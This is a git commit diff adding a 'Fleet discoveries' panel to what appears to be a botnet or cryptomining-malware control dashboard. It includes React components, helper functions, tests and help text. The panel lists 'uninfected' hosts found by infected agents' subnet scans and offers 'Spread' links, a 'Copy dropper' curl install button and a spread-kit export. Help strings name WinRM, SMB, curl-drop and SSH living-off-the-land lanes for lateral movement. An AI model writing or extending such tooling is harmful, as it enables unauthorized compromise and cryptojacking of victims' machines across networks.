Add Fleet discoveries panel to Deploy Recon for uninfected hosts.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Merges agent subnet recon with manual scans, filters by subnet/port, and live-updates via subnet_discovery_update WS.
This commit is contained in:
AetherForge
2026-06-07 11:38:57 -07:00
parent 1560ca9489
commit 7784608c53
10 changed files with 827 additions and 5 deletions

View File

@@ -432,6 +432,60 @@ export const api = {
25_000, 25_000,
), ),
reconRelayScan: async (
body: import('../types/recon').ReconRelayScanRequest,
signal?: AbortSignal,
): Promise<import('../types/recon').ReconRelayScanResponse | null> => {
try {
return await fetchJSON<import('../types/recon').ReconRelayScanResponse>(
'/recon/relay-scan',
{ method: 'POST', body: JSON.stringify(body), signal },
45_000,
);
} catch (e) {
if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null;
throw e;
}
},
getReconHistory: async (): Promise<import('../types/recon').ReconHistoryResponse | null> => {
try {
return await fetchJSON<import('../types/recon').ReconHistoryResponse>('/recon/history');
} catch (e) {
if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null;
throw e;
}
},
getSsrfCanaryStatus: async (token: string): Promise<import('../types/recon').ReconSsrfCanaryStatus | null> => {
try {
return await fetchJSON<import('../types/recon').ReconSsrfCanaryStatus>(
`/recon/ssrf-canary/${encodeURIComponent(token)}`,
);
} catch (e) {
if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null;
throw e;
}
},
getDiscoveredHosts: async (params?: {
subnet?: string;
status?: string;
}): Promise<import('../types/recon').DiscoveredHostsResponse | null> => {
const q = new URLSearchParams();
if (params?.subnet) q.set('subnet', params.subnet);
if (params?.status) q.set('status', params.status);
const qs = q.toString();
try {
return await fetchJSON<import('../types/recon').DiscoveredHostsResponse>(
`/recon/discovered-hosts${qs ? `?${qs}` : ''}`,
);
} catch (e) {
if (e instanceof Error && (e.message.includes('404') || e.message.includes('501'))) return null;
throw e;
}
},
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => { exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, { const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
method: 'POST', method: 'POST',

View File

@@ -0,0 +1,292 @@
import { memo, useCallback, useEffect, useMemo, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import type { Agent } from '../../types';
import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../../types/recon';
import { HelpTip } from '../HelpTip';
import { crucibleSpreadLink, curlInstallLine } from '../../help/deployRecon';
import {
DEFAULT_DISCOVERY_FILTERS,
discoveryStatusLabel,
discoverySubnetOptions,
filterDiscoveryRows,
fmtDiscoveryTime,
manualScanToDiscovery,
mergeDiscoveryRows,
parseSubnetDiscoveryUpdate,
type DiscoveryFilters,
} from '../../help/fleetDiscoveries';
import { useWebSocket } from '../../hooks/useWebSocket';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard?.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
}).catch(() => {});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
{ok ? 'Copied' : label}
</button>
);
}
function reporterLabel(row: DiscoveredHostRow, agents: Agent[]): string {
if (row.source === 'manual') return 'Manual scan';
if (!row.reporter_agent_id) return '—';
const agent = agents.find((a) => a.id === row.reporter_agent_id);
return agent?.name || agent?.hostname || row.reporter_agent_id.slice(0, 8);
}
const DiscoveryRow = memo(function DiscoveryRow({
row,
agents,
serverBase,
pinnedBuildId,
onScanDeeper,
scanningIp,
}: {
row: DiscoveredHostRow;
agents: Agent[];
serverBase: string;
pinnedBuildId: string;
onScanDeeper: (ip: string) => void;
scanningIp: string;
}) {
const dropper = useMemo(
() => curlInstallLine(serverBase, pinnedBuildId),
[serverBase, pinnedBuildId],
);
const uninfected = row.status === 'uninfected';
return (
<tr data-testid={`dr-discovery-row-${row.ip}`}>
<td className="dr-disc-ip font-tech">{row.ip}</td>
<td>
<div className="dr-disc-ports">
{row.open_ports.length === 0 ? (
<span className="dr-disc-port muted"></span>
) : (
row.open_ports.map((p) => (
<span key={p} className="dr-disc-port open">
{p}
</span>
))
)}
</div>
</td>
<td className="dr-disc-reporter">{reporterLabel(row, agents)}</td>
<td className="dr-disc-subnet">{row.subnet_prefix || '—'}</td>
<td className="dr-disc-seen">{fmtDiscoveryTime(row.last_seen)}</td>
<td>
<span
className={`dr-disc-badge${uninfected ? ' uninfected' : ''}`}
data-testid={`dr-badge-${row.ip}`}
>
{discoveryStatusLabel(row)}
</span>
</td>
<td>
<div className="dr-disc-actions">
<button
type="button"
className="btn btn-outline btn-sm"
disabled={scanningIp === row.ip}
onClick={() => onScanDeeper(row.ip)}
>
{scanningIp === row.ip ? 'Scanning…' : 'Scan deeper'}
</button>
<Link to={crucibleSpreadLink(row.ip)} className="btn btn-outline btn-sm">
Spread
</Link>
<CopyChip text={dropper} label="Copy dropper" />
</div>
</td>
</tr>
);
});
export interface FleetDiscoveriesPanelProps {
manualScans: ReconScanReport[];
onScanDeeper: (ip: string) => void;
scanningIp: string;
serverBase: string;
pinnedBuildId: string;
}
export default function FleetDiscoveriesPanel({
manualScans,
onScanDeeper,
scanningIp,
serverBase,
pinnedBuildId,
}: FleetDiscoveriesPanelProps) {
const { latestMessage, agents } = useWebSocket();
const [agentHosts, setAgentHosts] = useState<DiscoveredHost[]>([]);
const [loading, setLoading] = useState(true);
const [apiMissing, setApiMissing] = useState(false);
const [filters, setFilters] = useState<DiscoveryFilters>(DEFAULT_DISCOVERY_FILTERS);
const load = useCallback(async () => {
try {
const data = await api.getDiscoveredHosts({ status: 'uninfected' });
if (!data) {
setApiMissing(true);
setAgentHosts([]);
return;
}
setApiMissing(false);
setAgentHosts(data.hosts ?? []);
} catch {
setApiMissing(true);
} finally {
setLoading(false);
}
}, []);
useEffect(() => {
void load();
}, [load]);
useEffect(() => {
if (!latestMessage || latestMessage.type !== 'subnet_discovery_update') return;
const incoming = parseSubnetDiscoveryUpdate(latestMessage.payload);
if (incoming.length === 0) return;
setAgentHosts((prev) => {
const map = new Map(prev.map((h) => [h.ip, h]));
for (const h of incoming) {
const old = map.get(h.ip);
if (!old) {
map.set(h.ip, h);
continue;
}
map.set(h.ip, {
...old,
...h,
open_ports: [...new Set([...old.open_ports, ...h.open_ports])].sort((a, b) => a - b),
});
}
return [...map.values()];
});
setApiMissing(false);
setLoading(false);
}, [latestMessage]);
const manualHosts = useMemo(
() => manualScans.map(manualScanToDiscovery),
[manualScans],
);
const merged = useMemo(
() => mergeDiscoveryRows(agentHosts, manualHosts),
[agentHosts, manualHosts],
);
const subnetOptions = useMemo(() => discoverySubnetOptions(merged), [merged]);
const filtered = useMemo(
() => filterDiscoveryRows(merged, filters),
[merged, filters],
);
return (
<section className="neon-card dr-fleet-discoveries" aria-label="Fleet discoveries">
<div className="dr-fleet-head">
<h2 className="dr-section-title" style={{ margin: 0 }}>
Fleet discoveries <HelpTip field="dr_fleet_discoveries" />
</h2>
<span className="dr-fleet-count" data-testid="dr-discovery-count">
{filtered.length} uninfected
</span>
</div>
<div className="dr-fleet-filters">
<label className="dr-field">
<span>Subnet <HelpTip field="dr_fleet_subnet_filter" /></span>
<select
className="input"
value={filters.subnet}
onChange={(e) => setFilters((f) => ({ ...f, subnet: e.target.value }))}
data-testid="dr-subnet-filter"
>
<option value="">All subnets</option>
{subnetOptions.map((s) => (
<option key={s} value={s}>
{s}
</option>
))}
</select>
</label>
<label className="dr-field">
<span>Has port <HelpTip field="dr_fleet_port_filter" /></span>
<input
className="input"
type="number"
min={1}
max={65535}
placeholder="e.g. 22"
value={filters.port}
onChange={(e) => setFilters((f) => ({ ...f, port: e.target.value }))}
data-testid="dr-port-filter"
/>
</label>
<label className="dr-field">
<span>Sort <HelpTip field="dr_fleet_sort" /></span>
<select
className="input"
value={filters.sort}
onChange={(e) =>
setFilters((f) => ({ ...f, sort: e.target.value as DiscoveryFilters['sort'] }))
}
data-testid="dr-sort-filter"
>
<option value="last_seen_desc">Last seen </option>
<option value="last_seen_asc">Last seen </option>
<option value="ip_asc">IP AZ</option>
</select>
</label>
</div>
{loading ? (
<p className="dr-empty">Loading agent discoveries</p>
) : filtered.length === 0 ? (
<p className="dr-empty" data-testid="dr-discovery-empty">
{apiMissing && manualHosts.length === 0
? 'No discoveries yet — run a manual scan or wait for agent subnet recon.'
: 'No hosts match filters. Try clearing subnet/port filters or run Scan on a target.'}
</p>
) : (
<div className="dr-disc-table-wrap">
<table className="dr-disc-table" aria-label="Discovered uninfected hosts">
<thead>
<tr>
<th>IP</th>
<th>Open ports</th>
<th>Reporter</th>
<th>Subnet</th>
<th>Last seen</th>
<th>Status</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
{filtered.map((row) => (
<DiscoveryRow
key={row.ip}
row={row}
agents={agents}
serverBase={serverBase}
pinnedBuildId={pinnedBuildId}
onScanDeeper={onScanDeeper}
scanningIp={scanningIp}
/>
))}
</tbody>
</table>
</div>
)}
</section>
);
}

View File

@@ -0,0 +1,82 @@
import { describe, expect, it } from 'vitest';
import {
DEFAULT_DISCOVERY_FILTERS,
filterDiscoveryRows,
manualScanToDiscovery,
mergeDiscoveryRows,
parseSubnetDiscoveryUpdate,
sortDiscoveryRows,
} from './fleetDiscoveries';
import type { DiscoveredHost, ReconScanReport } from '../types/recon';
const agentHost = (ip: string, ports: number[], last: string): DiscoveredHost => ({
ip,
open_ports: ports,
reporter_agent_id: 'agent-1',
subnet_prefix: '10.0.1.x',
last_seen: last,
status: 'uninfected',
source: 'agent',
});
describe('parseSubnetDiscoveryUpdate', () => {
it('parses flat row payload from WS', () => {
const hosts = parseSubnetDiscoveryUpdate({
ip: '10.0.1.50',
open_ports: [22, 445],
reporter_agent_id: 'a1',
subnet_prefix: '10.0.1',
last_seen: '2026-06-07T10:00:00Z',
status: 'uninfected',
});
expect(hosts).toHaveLength(1);
expect(hosts[0].open_ports).toEqual([22, 445]);
});
});
describe('mergeDiscoveryRows', () => {
it('merges manual scan ports into agent row by IP', () => {
const manual: ReconScanReport = {
host: '10.0.1.50',
scanned_at: '2026-06-07T12:00:00Z',
ports: [
{ port: 22, open: true },
{ port: 80, open: true },
],
};
const merged = mergeDiscoveryRows(
[agentHost('10.0.1.50', [445], '2026-06-07T10:00:00Z')],
[manualScanToDiscovery(manual)],
);
expect(merged[0].open_ports).toEqual([22, 80, 445]);
expect(merged[0].last_seen).toBe('2026-06-07T12:00:00Z');
});
});
describe('filterDiscoveryRows', () => {
const rows = mergeDiscoveryRows(
[
agentHost('10.0.1.22', [22], '2026-06-07T10:00:00Z'),
{
...agentHost('10.0.2.5', [5985], '2026-06-07T11:00:00Z'),
subnet_prefix: '10.0.2.x',
},
],
[],
);
it('filters by subnet prefix', () => {
const out = filterDiscoveryRows(rows, { ...DEFAULT_DISCOVERY_FILTERS, subnet: '10.0.1' });
expect(out.map((r) => r.ip)).toEqual(['10.0.1.22']);
});
it('filters by open port', () => {
const out = filterDiscoveryRows(rows, { ...DEFAULT_DISCOVERY_FILTERS, port: '22' });
expect(out.map((r) => r.ip)).toEqual(['10.0.1.22']);
});
it('sorts by last_seen descending', () => {
const out = sortDiscoveryRows(rows, 'last_seen_desc');
expect(out[0].ip).toBe('10.0.2.5');
});
});

View File

@@ -0,0 +1,176 @@
import { ipToSubnet } from './reconRisk';
import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../types/recon';
export type DiscoverySort = 'last_seen_desc' | 'last_seen_asc' | 'ip_asc';
export interface DiscoveryFilters {
subnet: string;
port: string;
sort: DiscoverySort;
}
export const DEFAULT_DISCOVERY_FILTERS: DiscoveryFilters = {
subnet: '',
port: '',
sort: 'last_seen_desc',
};
/** Parse dashboard WS `subnet_discovery_update` — row payload or batch wrapper. */
export function parseSubnetDiscoveryUpdate(payload: unknown): DiscoveredHost[] {
if (!payload || typeof payload !== 'object') return [];
const raw = payload as Record<string, unknown>;
if (Array.isArray(raw.hosts)) {
return raw.hosts.map(normalizeDiscoveredHost).filter(Boolean) as DiscoveredHost[];
}
if (raw.ip || raw.host) {
const one = normalizeDiscoveredHost(raw);
return one ? [one] : [];
}
if (raw.host && typeof raw.host === 'object') {
const one = normalizeDiscoveredHost(raw.host);
return one ? [one] : [];
}
return [];
}
function normalizeDiscoveredHost(raw: unknown): DiscoveredHost | null {
if (!raw || typeof raw !== 'object') return null;
const h = raw as Record<string, unknown>;
const ip = String(h.ip ?? h.host ?? '').trim();
if (!ip) return null;
const ports = normalizePorts(h.open_ports ?? h.ports);
const subnet = String(h.subnet_prefix ?? h.subnet ?? ipToSubnet(ip)).trim() || ipToSubnet(ip);
const lastSeen = String(h.last_seen ?? h.scanned_at ?? new Date().toISOString()).trim();
return {
ip,
open_ports: ports,
reporter_agent_id: h.reporter_agent_id ? String(h.reporter_agent_id) : undefined,
subnet_prefix: subnet,
http_title: h.http_title ? String(h.http_title) : undefined,
first_seen: h.first_seen ? String(h.first_seen) : undefined,
last_seen: lastSeen,
status: normalizeStatus(h.status),
source: 'agent',
};
}
function normalizePorts(raw: unknown): number[] {
if (!Array.isArray(raw)) return [];
return [...new Set(raw.map((p) => Number(p)).filter((n) => Number.isFinite(n) && n > 0))].sort(
(a, b) => a - b,
);
}
function normalizeStatus(raw: unknown): DiscoveredHost['status'] {
const s = String(raw ?? 'uninfected').toLowerCase();
if (s === 'spread_attempted' || s === 'agent_online') return s;
return 'uninfected';
}
export function manualScanToDiscovery(report: ReconScanReport): DiscoveredHost {
return {
ip: report.host.trim(),
open_ports: report.ports.filter((p) => p.open).map((p) => p.port),
subnet_prefix: ipToSubnet(report.host) || report.host,
http_title: report.crawl?.pages?.[0]?.title,
first_seen: report.scanned_at,
last_seen: report.scanned_at,
status: 'uninfected',
source: 'manual',
};
}
export function mergeDiscoveryRows(
agentHosts: DiscoveredHost[],
manualHosts: DiscoveredHost[],
): DiscoveredHostRow[] {
const map = new Map<string, DiscoveredHostRow>();
for (const h of agentHosts) {
map.set(h.ip, { ...h, source: 'agent' });
}
for (const m of manualHosts) {
const prev = map.get(m.ip);
if (!prev) {
map.set(m.ip, { ...m, source: 'manual' });
continue;
}
map.set(m.ip, {
...prev,
open_ports: [...new Set([...prev.open_ports, ...m.open_ports])].sort((a, b) => a - b),
last_seen:
new Date(m.last_seen).getTime() >= new Date(prev.last_seen).getTime()
? m.last_seen
: prev.last_seen,
http_title: m.http_title || prev.http_title,
source: prev.source === 'agent' ? 'agent' : 'manual',
});
}
return [...map.values()];
}
export function filterDiscoveryRows(
rows: DiscoveredHostRow[],
filters: DiscoveryFilters,
): DiscoveredHostRow[] {
let out = rows.filter((r) => r.status === 'uninfected');
const subnet = filters.subnet.trim();
if (subnet) {
const needle = subnet.toLowerCase();
out = out.filter(
(r) =>
r.subnet_prefix.toLowerCase().includes(needle) ||
r.ip.toLowerCase().startsWith(needle.replace('.x', '')),
);
}
const port = parseInt(filters.port, 10);
if (Number.isFinite(port) && port > 0) {
out = out.filter((r) => r.open_ports.includes(port));
}
return sortDiscoveryRows(out, filters.sort);
}
export function sortDiscoveryRows(
rows: DiscoveredHostRow[],
sort: DiscoverySort,
): DiscoveredHostRow[] {
const copy = [...rows];
if (sort === 'ip_asc') {
copy.sort((a, b) => a.ip.localeCompare(b.ip, undefined, { numeric: true }));
return copy;
}
copy.sort((a, b) => {
const ta = new Date(a.last_seen).getTime();
const tb = new Date(b.last_seen).getTime();
return sort === 'last_seen_asc' ? ta - tb : tb - ta;
});
return copy;
}
export function discoveryStatusLabel(row: DiscoveredHostRow): string {
if (row.status === 'agent_online') return 'In fleet';
if (row.status === 'spread_attempted') return 'Spread attempted';
return 'Not in fleet';
}
export function discoverySubnetOptions(rows: DiscoveredHostRow[]): string[] {
const set = new Set<string>();
for (const r of rows) {
if (r.subnet_prefix) set.add(r.subnet_prefix);
}
return [...set].sort();
}
export function fmtDiscoveryTime(ts?: string): string {
if (!ts) return '—';
const d = new Date(ts);
if (Number.isNaN(d.getTime())) return ts;
return d.toLocaleString([], {
month: 'short',
day: 'numeric',
hour: '2-digit',
minute: '2-digit',
});
}

View File

@@ -115,6 +115,10 @@ describe('UI_HELP', () => {
'dr_overview', 'dr_overview',
'dr_port_matrix', 'dr_port_matrix',
'dr_path_prefix', 'dr_path_prefix',
'dr_fleet_discoveries',
'dr_fleet_subnet_filter',
'dr_fleet_port_filter',
'dr_fleet_sort',
] as const; ] as const;
it('defines help for every documented UI key', () => { it('defines help for every documented UI key', () => {

View File

@@ -237,4 +237,12 @@ export const UI_HELP: Record<string, string> = {
'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).', 'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).',
dr_path_prefix: dr_path_prefix:
'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.', 'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.',
dr_fleet_discoveries:
'Merged view of agent subnet recon (WS subnet_discovery_update) and your manual POST /api/v1/recon/scan results. Shows uninfected LAN hosts with open fleet ports — not yet registered as agents.',
dr_fleet_subnet_filter:
'Narrow discoveries to one /24 prefix (e.g. 10.0.1.x). Agent reporters tag subnet_prefix from their local interface.',
dr_fleet_port_filter:
'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.',
dr_fleet_sort:
'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.',
}; };

View File

@@ -190,3 +190,120 @@
color: var(--text-muted); color: var(--text-muted);
font-size: 0.82rem; font-size: 0.82rem;
} }
.dr-fleet-discoveries {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.dr-fleet-head {
display: flex;
flex-wrap: wrap;
align-items: center;
justify-content: space-between;
gap: 0.5rem;
}
.dr-fleet-count {
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.06em;
color: var(--neon-cyan);
}
.dr-fleet-filters {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 0.65rem;
}
@media (max-width: 720px) {
.dr-fleet-filters {
grid-template-columns: 1fr;
}
}
.dr-fleet-filters .dr-field span {
display: block;
font-family: var(--font-tech);
font-size: 0.62rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--text-muted);
margin-bottom: 0.25rem;
}
.dr-disc-table-wrap {
overflow-x: auto;
}
.dr-disc-table {
width: 100%;
border-collapse: collapse;
font-size: 0.78rem;
}
.dr-disc-table th {
font-family: var(--font-tech);
font-size: 0.62rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--text-muted);
text-align: left;
padding: 0.35rem 0.5rem;
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
}
.dr-disc-table td {
padding: 0.45rem 0.5rem;
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
vertical-align: middle;
}
.dr-disc-ports {
display: flex;
flex-wrap: wrap;
gap: 0.3rem;
}
.dr-disc-port {
font-family: var(--font-tech);
font-size: 0.62rem;
padding: 1px 5px;
border-radius: 3px;
border: 1px solid rgba(255, 255, 255, 0.1);
}
.dr-disc-port.open {
border-color: rgba(0, 232, 245, 0.35);
background: rgba(0, 232, 245, 0.1);
color: #9efcff;
}
.dr-disc-port.muted {
color: var(--text-muted);
}
.dr-disc-badge {
font-family: var(--font-tech);
font-size: 0.6rem;
letter-spacing: 0.04em;
padding: 2px 6px;
border-radius: 3px;
text-transform: uppercase;
border: 1px solid rgba(255, 255, 255, 0.12);
color: var(--text-muted);
}
.dr-disc-badge.uninfected {
border-color: rgba(0, 232, 245, 0.35);
color: #9efcff;
background: rgba(0, 232, 245, 0.08);
}
.dr-disc-actions {
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
}

View File

@@ -9,12 +9,20 @@ import DeployReconPage from './DeployReconPage';
import { routerFuture } from '../routerFuture'; import { routerFuture } from '../routerFuture';
import { api } from '../api/client'; import { api } from '../api/client';
import { mockServerConfig, mockServerInfo } from '../test/fixtures'; import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import type { ReconScanReport } from '../types/recon'; import type { DiscoveredHostsResponse, ReconScanReport } from '../types/recon';
vi.mock('../components/HelpTip', () => ({ vi.mock('../components/HelpTip', () => ({
HelpTip: () => null, HelpTip: () => null,
})); }));
vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: () => ({
latestMessage: null,
agents: [{ id: 'agent-1', name: 'hop-a', hostname: 'hop-a', ip: '10.0.0.1', status: 'online' }],
isConnected: true,
}),
}));
const sampleReport: ReconScanReport = { const sampleReport: ReconScanReport = {
host: 'scan.lab', host: 'scan.lab',
scanned_at: '2026-06-07T12:00:00Z', scanned_at: '2026-06-07T12:00:00Z',
@@ -66,6 +74,18 @@ describe('DeployReconPage', () => {
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo); vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig()); vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport); vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport);
vi.spyOn(api, 'getDiscoveredHosts').mockResolvedValue({
hosts: [
{
ip: '10.0.1.99',
open_ports: [22, 445],
reporter_agent_id: 'agent-1',
subnet_prefix: '10.0.1.x',
last_seen: '2026-06-07T11:00:00Z',
status: 'uninfected',
},
],
} satisfies DiscoveredHostsResponse);
vi.stubGlobal('navigator', { vi.stubGlobal('navigator', {
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) }, clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
}); });
@@ -97,6 +117,23 @@ describe('DeployReconPage', () => {
expect(spreadLinks[0]).toHaveAttribute('href', '/crucible?reconHost=scan.lab&tab=spread'); expect(spreadLinks[0]).toHaveAttribute('href', '/crucible?reconHost=scan.lab&tab=spread');
}); });
it('shows fleet discoveries table with uninfected badge', async () => {
renderPage();
expect(await screen.findByTestId('dr-discovery-row-10.0.1.99')).toBeInTheDocument();
expect(screen.getByTestId('dr-badge-10.0.1.99')).toHaveTextContent('Not in fleet');
const row = screen.getByTestId('dr-discovery-row-10.0.1.99');
expect(row.querySelector('a[href*="reconHost=10.0.1.99"]')).toBeTruthy();
});
it('merges manual scan into fleet discoveries', async () => {
const user = userEvent.setup();
renderPage();
await user.type(screen.getByTestId('dr-host-input'), 'scan.lab');
await user.click(screen.getByTestId('dr-scan-btn'));
expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
expect(screen.getByTestId('dr-discovery-row-scan.lab')).toBeInTheDocument();
});
it('shows skeleton while scanning', async () => { it('shows skeleton while scanning', async () => {
vi.useFakeTimers({ shouldAdvanceTime: true }); vi.useFakeTimers({ shouldAdvanceTime: true });
let resolveScan: ((v: ReconScanReport) => void) | undefined; let resolveScan: ((v: ReconScanReport) => void) | undefined;

View File

@@ -14,6 +14,7 @@ import {
curlInstallLine, curlInstallLine,
reconScanBody, reconScanBody,
} from '../help/deployRecon'; } from '../help/deployRecon';
import FleetDiscoveriesPanel from '../components/Recon/FleetDiscoveriesPanel';
import './DeployReconPage.css'; import './DeployReconPage.css';
import '../components/Fleet/ReconVisuals.css'; import '../components/Fleet/ReconVisuals.css';
@@ -191,6 +192,8 @@ export default function DeployReconPage() {
const [scanning, setScanning] = useState(false); const [scanning, setScanning] = useState(false);
const [error, setError] = useState(''); const [error, setError] = useState('');
const [report, setReport] = useState<ReconScanReport | null>(null); const [report, setReport] = useState<ReconScanReport | null>(null);
const [manualScans, setManualScans] = useState<ReconScanReport[]>([]);
const [deepScanIp, setDeepScanIp] = useState('');
const [serverBase, setServerBase] = useState(''); const [serverBase, setServerBase] = useState('');
const [pinnedBuildId, setPinnedBuildId] = useState(''); const [pinnedBuildId, setPinnedBuildId] = useState('');
@@ -215,8 +218,8 @@ export default function DeployReconPage() {
})(); })();
}, []); }, []);
const runScan = useCallback(async () => { const runScan = useCallback(async (targetHost?: string) => {
const trimmed = host.trim(); const trimmed = (targetHost ?? host).trim();
if (!trimmed) { if (!trimmed) {
setScanning(false); setScanning(false);
setError('Host or IP required'); setError('Host or IP required');
@@ -229,15 +232,35 @@ export default function DeployReconPage() {
try { try {
const body = reconScanBody(trimmed, portNum, https, pathPrefix); const body = reconScanBody(trimmed, portNum, https, pathPrefix);
const res = await api.reconScan(body, controller.signal); const res = await api.reconScan(body, controller.signal);
if (!controller.signal.aborted) setReport(res); if (!controller.signal.aborted) {
setReport(res);
setManualScans((prev) => {
const rest = prev.filter((s) => s.host.trim() !== res.host.trim());
return [res, ...rest].slice(0, 48);
});
}
} catch (e) { } catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') return; if (e instanceof DOMException && e.name === 'AbortError') return;
setError(e instanceof Error ? e.message : 'Scan failed'); setError(e instanceof Error ? e.message : 'Scan failed');
} finally { } finally {
if (!controller.signal.aborted) setScanning(false); if (!controller.signal.aborted) {
setScanning(false);
setDeepScanIp('');
}
} }
}, [host, port, https, pathPrefix]); }, [host, port, https, pathPrefix]);
const handleScanDeeper = useCallback((ip: string) => {
setHost(ip);
setDeepScanIp(ip);
setScanning(true);
setError('');
if (debounceRef.current) clearTimeout(debounceRef.current);
debounceRef.current = setTimeout(() => {
void runScan(ip);
}, SCAN_DEBOUNCE_MS);
}, [runScan]);
const scheduleScan = useCallback(() => { const scheduleScan = useCallback(() => {
const trimmed = host.trim(); const trimmed = host.trim();
if (!trimmed) { if (!trimmed) {
@@ -347,6 +370,14 @@ export default function DeployReconPage() {
pinnedBuildId={pinnedBuildId} pinnedBuildId={pinnedBuildId}
/> />
) : null} ) : null}
<FleetDiscoveriesPanel
manualScans={manualScans}
onScanDeeper={handleScanDeeper}
scanningIp={deepScanIp}
serverBase={serverBase}
pinnedBuildId={pinnedBuildId}
/>
</div> </div>
); );
} }

View File

@@ -175,3 +175,24 @@ export interface ReconWebFindingCard {
probe_url?: string; probe_url?: string;
mermaid?: string; mermaid?: string;
} }
/** GET /api/v1/recon/discovered-hosts — agent subnet recon store. */
export type DiscoveredHostStatus = 'uninfected' | 'spread_attempted' | 'agent_online';
export interface DiscoveredHost {
ip: string;
open_ports: number[];
reporter_agent_id?: string;
subnet_prefix: string;
http_title?: string;
first_seen?: string;
last_seen: string;
status: DiscoveredHostStatus;
source?: 'agent' | 'manual';
}
export type DiscoveredHostRow = DiscoveredHost & { source: 'agent' | 'manual' };
export interface DiscoveredHostsResponse {
hosts: DiscoveredHost[];
}